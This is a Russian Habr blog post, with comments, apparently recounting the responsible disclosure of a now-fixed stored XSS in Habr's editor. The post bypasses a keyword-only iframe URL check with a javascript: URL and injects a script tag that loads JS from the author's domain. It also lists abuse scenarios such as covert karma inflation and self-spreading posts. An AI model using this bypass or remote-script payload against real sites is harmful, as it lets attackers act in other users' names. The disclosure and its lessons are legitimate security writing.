Всегда хотел взломать Хабр. Мечта такая, но как-то руки не доходили. И вот, вдохновившись статьей о праведной борьбе с Безумным Максом, я, как и автор поста, решил исследовать функционал Хабра на предмет уязвимостей.
Начать решил с нового редактора, рассуждая следующим образом: раз он новый, то и уязвимости там точно должны быть.
В редакторе обратил особое внимание на три возможности:
Вставка кода
Вставка формул
Вставка медиаэлементов
С первыми двумя пришлось повозиться, но ничего существенного найти не удалось. А вот третий оказался очень интересным — через медиаэлемент можем вставлять iframe, указывая на url ресурса, например, делать вставку с youtube.
Но! Разработчики Хабра - хитрые ребята, и в материал вставляется iframe не прямой ссылкой на youtube, а ссылкой на https://embedd.srv.habr.com
(например: https://embedd.srv.habr.com/iframe/621169d6e1af860b1c6b9971
), где уже и содержится само видео.
Шаг 1
Проанализировав запрос сохранения публикации (https://habr.com/kek/v2/publication/save/ID), я попытался подменить ссылку в iframe на свою, через параметр habrUrl, но сервер вернул message: "Bad Request" "В тексте были использованы недопустимые элементы. Проверьте его содержимое". Хорошо, давайте проверим: недопустимых элементов точно нет, это просто url, а вот домен был не habr, а мой. Тогда в голову пришла мысль: «А что если домен embedd.srv.habr.com будет присутствовать только в части url, например так: https://mydomain.ru/embedd.srv.habr.com/?»
Ого! Случилось чудо! Ссылка была успешно принята, и в черновиках я получил материал с iframe, где в качестве src была указана ссылка на мой ресурс.
По всей видимости, разработчики не проверяют домен, а проверяют только вхождение ключевого слова «embedd.srv.habr.com», к примеру https://mydomain.ru/habr.com/ валидным не является.
Получив страницу с «правильно» встроенным iframe и побаловавшись с alert и console.log, я понял, что политика безопасности браузера не позволяет запускать скрипты из iframe и вообще обращаться к родительскому окну.
В результате iframe injection c вытекающими отсюда последствиями есть, например, вставкой своей рекламы или выполнением скриптов от имени пользователей, но, увы, без привязки к домену habr.com. Такой вариант меня не устроил, и я решил копать дальше.
Шаг 2
А если попробовать вставить в iframe src не ссылку на фрейм, а непосредственно сам вызов javascript?
Например так:
javascript:alert(‘Hello habr!’);
Разумеется не работает, "Bad Request". Ах! Да, конечно!
javascript:alert(‘Hello habr! From embedd.srv.habr.com’);
Работает! Спасибо ключевому слову «embedd.srv.habr.com»
Ну все, далее уже дело техники, пробуем создать тег script и загрузить заранее подготовленный js-файл с моего сервера.
javascript:s=window.top.document.createElement('script');
s.setAttribute('src','https://mydomain.com/embedd.srv.habr.com/test.js');
window.top.document.head.appendChild(s)
window.top
— так как скрипт вызывается из iframe, необходимо сперва обратиться к родительскому окну;
embedd.srv.habr.com
— не забываем вставить в текст этот домен, без него работать не будет.
Отправив post-запрос, получил информацию, что материал успешно обновлен, а скрипт внедрен на страницу поста.
Теперь любой пользователь, который зайдет в опубликованный материал, загрузит мой js-скрипт, и от его имени я могу совершать абсолютно любые действия, например: повышать карму, голосовать за любой материал, оставлять комментарии и публиковать заметки (разумеется если у него есть на это права).
Навскидку несколько сценариев использования уязвимости:
Втихую повышаем себе карму и плюсуем свои посты.
«Мониторим» тех, кто минусует твои посты, и минусуем их самих.
От имени пользователей создаём посты с уязвимостями, которые создают такие же посты с уязвимостями (рекурсивно).
Вариантов на самом деле много, можно предлагать свои в комментариях.
Протестировав получение данных на странице черновика и поэкспериментировав увеличением кармы случайным пользователям, я, разумеется, написал в тех. поддержку. Со мной связался специалист по тестированию, который передал данные разработчикам. Уязвимость поправили довольно быстро, и в данный момент она устранена.
Выводы
Хабр вдохновляет!
ВНИМАТЕЛЬНО валидируйте пользовательские данные.
Если нашли уязвимость — сообщите разработчикам Хабра (можно через @Boomburum), вознаграждение гарантируется.
Комментарии (73)
Alexandroppolus
22.02.2022 16:41+62простейший xss в 2022 году на сайте про "айтишечку"... какое позорище
я так понимаю, никто это не использовал для шутеек только потому, что никому в голову не могло прийти, что такое возможно
redsh0927
22.02.2022 19:15+65Сайт про айтишечку до сих пор не умеет нативно в тёмную тему (кою более чем обоснованно предпочитают не менее половины разработчиков и опытных юзеров), зато с новым дызайном и редактором в лучших традициях «лишь бы только не отбирали возможность вернуть как было!»
KvanTTT
22.02.2022 20:33+26Я бы даже сказал, что на Хабре темная тема даже важней, потому что многие его читают перед сном, а со светлой темой это некомфортно.
MaryRabinovich
22.02.2022 21:39-5Возможно, с тёмной проблема в целевых масштабах. Возможно, в отдельные части экрана / некоторые страницы проще добавить тёмную, чем всюду сразу.
Что-то подсказывает, что до сих пор не поднимался вопрос типа "а вам чего важнее по-быстрому затемнить, если не сразу всё, а частями?"
alfixer
22.02.2022 23:12+18Поставить плагин для браузера Dark Reader или любой другой или тыкнуть в браузере соответствующую настройку - намного быстрее, чем годами ждать, когда кто-то что-то сделает.
KvanTTT
22.02.2022 23:16+6В который раз приходится объяснять, что Dark Reader невозможно использовать в мобильных ОС, где темная тема как раз более актуальна, потому что на них многие читают хабр перед сном.
alfixer
22.02.2022 23:28+12Really?
Спойлер.
Sazonov
23.02.2022 17:40+1iOS safari, подскажите куда копать?
Up: нашёл ниже ссылку на платный плагин.
lonesimba
23.02.2022 22:08Возможно, в хроме работает, а в яндекс поставить плагины низя
alfixer
23.02.2022 22:16А вы пробовали?
lonesimba
24.02.2022 01:49я про мобильный, на компе понятно что работает
alfixer
24.02.2022 02:09Яндекс браузером не пользуюсь, но вроде он позволяет ставить плагины для хрома.
https://yanbrowser.ru/faq/black-theme-for-yandex-browser-on-android#i-2
ris58h
22.02.2022 23:35+8В смысле невозможно? В Firefox прекрасно работает. В Safari тоже должно быть что-то подобное.
KvanTTT
22.02.2022 23:51Что например? Firefox не использую, и все равно это полумера.
KvanTTT
22.02.2022 23:53Ну да, вроде что-то есть, причем платный: https://apps.apple.com/us/app/dark-reader-for-safari/id1438243180?platform=ipad
ris58h
23.02.2022 14:30+3Не знаю что у вас за браузер, но в хроме есть настройка chrome://flags/#enable-force-dark
В Safari, вижу что уже нашли. Оно платное, да. Но тут уже к Apple претензии - аккаунт разработчика стоимостью $100 в год надо отбивать, как минимум.
garbagecollected
23.02.2022 13:11+1Можно добиться тёмной версии через URL:
javascript:document.documentElement.style.filter+='invert(1)hue-rotate(180deg)';void(0);
Немного неудобно применять на каждой странице, можно держать в закладках. Зато не нужны никакие расширения, как и нужна поддержка расширений вообще.
KvanTTT
23.02.2022 13:50+2Что-то сомневаюсь что это корректно будет работать. Темная тема — это не простое инвертирование цветов.
garbagecollected
23.02.2022 14:56Это немного укороченная версия.
В Dark Reader правило для habr.com
habr.com INVERT img[src*="//tex.s2cms.ru/"] CSS html { text-shadow: none !important; } .main-navbar .icon-svg { fill: ${#929ca5} !important; }
Psychosynthesis
23.02.2022 01:19+7Dark Reader, безусловно, мастхэв. Для юзеров с катарактой - это вообще буквально обязательное расширение в Firefox'е. Хром вроде как с некоторых пор научился без расширений делать тёмную тему для любых сайтов (chrome://flags -> Force dark mode или как-то так), но с даркридером гораздо удобнее - иногда надо отключать и т.п.
Проблема только в том, что Dark Reader, зараза, даже на мощном компе заметно подтормаживает браузер на "тяжёлых" сайтах.
goldrobot
23.02.2022 07:26+2кою более чем обоснованно предпочитают не менее половины разработчиков и опытных юзеров
А в чем обоснование?
frANTicBee
23.02.2022 10:59+2Ну прикольно. Разумное же обоснование (для многих)
А если серьезно конечно - то при чтении в темноте - светлый фон сильно бьет по глазам. Во всех остальных случаях использование темной темы как минимум вкусовщина, как максимум - уменьшенный контраст и еще бОльший вред глазам особенно при мелком шрифте.stork_teadfort
23.02.2022 12:40+1Не только, но и меньшее энергопотребление на OLED дисплеях
frANTicBee
23.02.2022 16:59+1для просмотря чего то мелкого в пути - может быть актуально, но если юзаешь что то профессионально - то ты сидишь стационарно с зарядкой и плевать тебе на энергопотребление
Jaguar505
22.02.2022 19:49+24Не бывает систем защищенных на все 100% где разработчики могут допустить даже простейшую ошибку, но в этом нет ничего плохого, главное что разрабы пошли на контакт и оперативно пофиксили уязвимость
Alexandroppolus
23.02.2022 05:39+1Оперативное исправление это хорошо, согласен. Прикол в том, что среди небезопасностей сайта есть 3 самых общеизвестных поинта: xss, csrf и sql-инъекции. Первый и второй уже были, и я, черт возьми, теперь не удивлюсь, если и третий "ждет своего вдумчивого исследователя"
Diamos
22.02.2022 23:31+3Да, для 2022 года действительно стыдно… Хотелось бы глянуть на качество кода, возможно там уровень студента) Интересно, чем столько лет занимаются разработчики хабра?)
werevolff
23.02.2022 07:38+2А я-то думаю, чего это на Хабре стали возникать посты о том, что SOLID/GRASP/TDD не работают, и надо писать код "как получается"?
FrolVII
23.02.2022 03:35+6на сайте про "айтишечку"
Подобные проекты - они не только "про айтишечку" или про что-либо подобное, они еще и про деньги, которые хочется, наверняка, тратить рачительно. Иногда это сказывается на результате.
Но. То что habr "про айтишечку" свою роль, определенно, играет. Вот попался пользователь с определенным мировоззрением и соответствующим набором компетенций, который на чистом энтузиазме нашел проблему и помог ее решить. Вероятность столь благополучного исхода для ресурса с иным типом пользователей (он-лайн казино, банк, да что угодно) тоже имеется, но представляется ощутимо меньшей, нежели в данном сообществе.
d1gital_love
23.02.2022 16:13+1Думаю, это связано с кардинальными изменениями чего-то и необдуманными выкатом в широкую паблику слишком рано.
Хабр ломали прилично количество раз до этого.
Boomburum
22.02.2022 18:06+50Максим, от себя и от коллег выражаю благодарность за то, что поделились информацией об этой уязвимости — пожалуй, это одна из самых существенных из найденных за всю историю Хабра, хотя, как и написали выше, "простая" :)
anonymous
00.00.0000 00:00your_eyes_lie
22.02.2022 20:02+4Возможность вставки js находили и раньше, правда, почти 14 лет назад (feeling so old): https://habr.com/ru/post/26666/
CRMguru
22.02.2022 18:35+6Была тут статья про перфекционизм среди разработчиков, так вот - не бывает неважных уязвимостей, иногда такие вот маленькие шероховатости портят весь идеальный проект, так что автор молодец, что поделился
DimaFromMai
22.02.2022 21:32+3Если нашли уязвимость — сообщите разработчикам Хабра (можно через Boomburum), вознаграждение гарантируется.
У Хабра появилась программа bug bounty?
pragmatik
23.02.2022 01:58+4На моей памяти (а я работаю в Хабре с 2016) всегда поощряли пользователей, нашедших уязвимости, которые могут угрожать безопасности других пользователей, но сообщивших о них, вместо того, чтобы их использовать.
Лично я вижу следующие проблемы в введении официальной bug bounty программы:
у пользователей и у работников компании могут разниться представления о том, что является багом (например, я не считаю багами отсутствие на сайте функциональности к которой пользователи привыкли в других системах, как в относительно недавней истории) и пользователи могут воспринимать этот как нежелание работников компании платить за проделанную ими работу;
пользователи могут сталкиваться с проблемами из-за того, что используют функциональность системы вопреки предусмотренной разработчиками логике (например, если в поиске пагинация только на 50 страниц, пользователь подставил в URL адрес, который должен бы быть у 51-й страницы, но вместо 51-й страницы получил ошибку), сообщившие о таких "ошибках" пользователи могут воспринимать этот как нежелание работников компании платить за проделанную ими работу;
недоработок достаточно много, они зафиксированы в виде задач в жире и прекрасно известны, просто ресурсы распределяются на более злободневные задачи и эти недоработки могут висеть годами, было бы странно платить за их "обнаружение", но пользователи, не имея доступа к корпоративной жире, могут воспринимать этот как нежелание работников компании платить за проделанную ими работу;
несколько пользователей могут сообщить об одной проблеме с небольшим интервалом времени (представьте, пользователь А сообщил о проблеме, ее взяли в работу и тут об этой же проблеме сообщил пользователь Б, после чего проблему пофиксили, пользователь Б будет считать, что компания пофиксила проблему на основании его обращения, но не хочет выплачивать ему вознаграждение).
Думаю, что, за годы существования bug bounty программ, для большинства перечисленных мной проблем придумали какие-то решения, но интуиция подсказывает, что решения эти ресурсоемкие и более логично потратить эти ресурсы на устранение проблем, которые уже давно известны.
third112
23.02.2022 03:59+1Верно. Я написал про недостатки новой версии. Получил много плюсов, но
Если нашли уязвимость — сообщите разработчикам Хабра (можно через Boomburum), вознаграждение гарантируется.
Вознаграждение не получил.
third112
23.02.2022 04:02PS В деньгах не нуждаюсь, но принципиальный интерес.
Alexandroppolus
23.02.2022 04:55+1Так плюсы и были вознаграждением )
third112
23.02.2022 05:15+2ИМХО очевидно, что оценка сообщества в виртуальных плюсах и "гарантированная" оценка НЛО в реальных у.е. — принципиально разные вещи)
rrrav
23.02.2022 17:17В деньгах не нуждаюсь
Думал, что только Прохорову деньги не нужны («...опять деньги приехали, куда их девать?» Квартет И (С)).
Оказывается, таких много есть у нас ))
third112
23.02.2022 18:32+1Не надо путать слова "нужно" и "нуждаться".
Перефразируя слова известной песни, школьник или студент мог написать:Хабр, Хабр, что я буду делать? Ку.
Хабр, Хабр, как я буду жить? Ыыыыы!
Ы-ку, ы-ку, ы-ку, ы-ку, ы-ку, ы-ку, ыыыы.
У меня нет тёплого пальтишки,
У меня нет тёплого белья.
Дай мне за статью хоть немного денежек!А деньги нужны всем, и тем кто не особо остро нуждается :))
(Есть у меня пальтишко, может где и порвано, но пока не сильно замерзаю).
e_Hector
23.02.2022 08:54+3Я думаю, проблема в термине "bug bounty". Просто не очень удачное название, слишком общее и сходу может показаться, что речь идет о любой ошибке в принципе.
На практике же, bug bounty, обычно, значит именно проблемы с безопасностью.
И проблем вида "баг или не баг" там не возникает.
Удалось получить доступ к чужим данным - баг!
Остается правда пространство для споров насколько он серьезный (от этого зависит сумма выплаты), но это уже история другая (да и там есть публичные критерии)
Кстати, есть целые сервисы, для организации простой и понятной bug bounty программы.
p.s. мы пользуемся bugcrowdaml
23.02.2022 15:39Вот-вот, поддержу оратора. И если такие баги у вас будут в жире висеть годами, у меня для вас плохие новости.
Bringoff
23.02.2022 12:44+2например, я не считаю багами отсутствие на сайте функциональности к которой пользователи привыкли в других системах, как в относительно недавней истории
специалист техподдержки «Хабра»
@pragmatikхах, это ты что ли доказывал мне, что сочетание клавиш cmd+click и не обязано работать в браузере? Понятненько.
RealPeha
23.02.2022 18:02+1недоработки могут висеть годами
Тогда у вас проблемы если задачи годами висят
oYASo
23.02.2022 10:04В статьи описана уязвимость, после которой рука сама потянулась повышать карму автору :)
abyssmemes
23.02.2022 10:26+3Благодаря тебе я исправил точно такой же косяк у нас в проекте, огромное спасибо!
ASHcommander
23.02.2022 11:30-1Посмотрите на сайт ДТФ. Я не эксперт, но как же там удобно сделано. Комментарии появляются в реальном времени, оценки тоже, справа лента последних комментариев, когда кто-то ставит тебе минус или плюс, ты видишь это в уведомлении, и при наведении на число можешь увидеть всех, кто и как оценил комментарий. Нет этой херни с тупой кармой - пиши и оценивай, как хочешь.
Maccimo
23.02.2022 20:51+1VC/TJ/DTF (это один хозяин и одна платформа) это эталон рукожопости, написанный на JavaScript. Там вполне обыденно бывает «пользователь совершает действие ⇒ сайт не реагирует ⇒ пользователь открывает DevTools и видит, что сервер вернул красивый JSON с подробным описанием ошибки, но фронтендеры болт клали на ответы сервера». За обновление в реальном времени вообще руки поотрывать стоило бы. Worker-ы разбухают и сжирают всю память на машине.
Нет этой херни с тупой кармой — пиши и оценивай, как хочешь.
Анонимная карма это безусловное благо.SevenTimes
24.02.2022 10:25Там сейчас Очобу разорвало на куски, посты на дтф пишут, что комментов нет, а внутри их мало того куча, так ещё и с дубликатами. Ну и с каждой крупной новостью сайт тупо падает
Nikulio
25.02.2022 13:06Ребят, а что за синтаксис с двоеточием?
javascript:s=window.top.document.createElement('script');
Это создание алиаса на переменную? Почему сразу не написать через
s
? Вот так:s=window.top.document.createElement('script');
kamilocean
СУПЕР!!! Спасибо)